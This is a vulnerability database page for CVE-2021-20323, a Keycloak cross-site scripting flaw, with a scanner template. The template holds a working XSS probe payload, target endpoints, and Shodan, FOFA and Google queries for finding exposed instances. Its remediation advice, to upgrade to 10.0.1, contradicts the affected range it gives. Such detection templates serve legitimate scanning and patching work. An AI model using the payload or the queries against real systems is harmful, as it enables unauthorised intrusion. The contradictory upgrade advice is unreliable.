| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Exploit for Cross-site Scripting in Redhat Keycloak | 30 Dec 202023:52 | – | githubexploit | |
| Exploit for Cross-site Scripting in Redhat Keycloak | 7 Dec 202221:15 | – | githubexploit | |
| Exploit for Cross-site Scripting in Redhat Keycloak | 11 Jan 202416:02 | – | githubexploit | |
| The vulnerability of the software for managing identities and access control in Keycloak arises from the lack of measures taken to protect the structure of web pages. This allows attackers to execute arbitrary code. | 14 Sep 202300:00 | – | bdu_fstec | |
| CVE-2021-20323 | 25 Mar 202221:30 | – | circl | |
| Red Hat Keycloak 跨站脚本漏洞 | 25 Mar 202200:00 | – | cnnvd | |
| CVE-2021-20323 | 25 Mar 202218:03 | – | cve | |
| CVE-2021-20323 | 25 Mar 202218:03 | – | cvelist | |
| Security Bulletin: Multiple security vulnerabilities in IBM Business Automation Manager Open Editions | 14 Apr 202615:53 | – | ibm | |
| Cross-site Scripting in Keycloak | 26 Mar 202200:00 | – | github |
id: CVE-2021-20323
info:
name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
author: ndmalc,incogbyte
severity: medium
description: |
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
reference:
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
- https://access.redhat.com/security/cve/CVE-2021-20323
- https://github.com/ndmalc/CVE-2021-20323
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-20323
cwe-id: CWE-79
epss-score: 0.37246
epss-percentile: 0.98336
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: redhat
product: keycloak
shodan-query:
- html:"Keycloak"
- http.title:"keycloak"
- http.html:"keycloak"
- http.favicon.hash:-1105083093
fofa-query:
- title="keycloak"
- icon_hash=-1105083093
- body="keycloak"
google-query: intitle:"keycloak"
tags: cve2021,cve,keycloak,xss,redhat,vuln
http:
- method: POST
path:
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
- "{{BaseURL}}/realms/master/clients-registrations/default"
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
stop-at-first-match: true
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 400
# digest: 490a004630440220370f9c4517e14cfdfd3efa00b5fa3e11ccae0f791b7e8b55d8f5459cc3fe4d310220296d7b8b0eb8ec473c8b42b502c2a9c04e3d258aad1cb8db1e23eb386b08e946:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation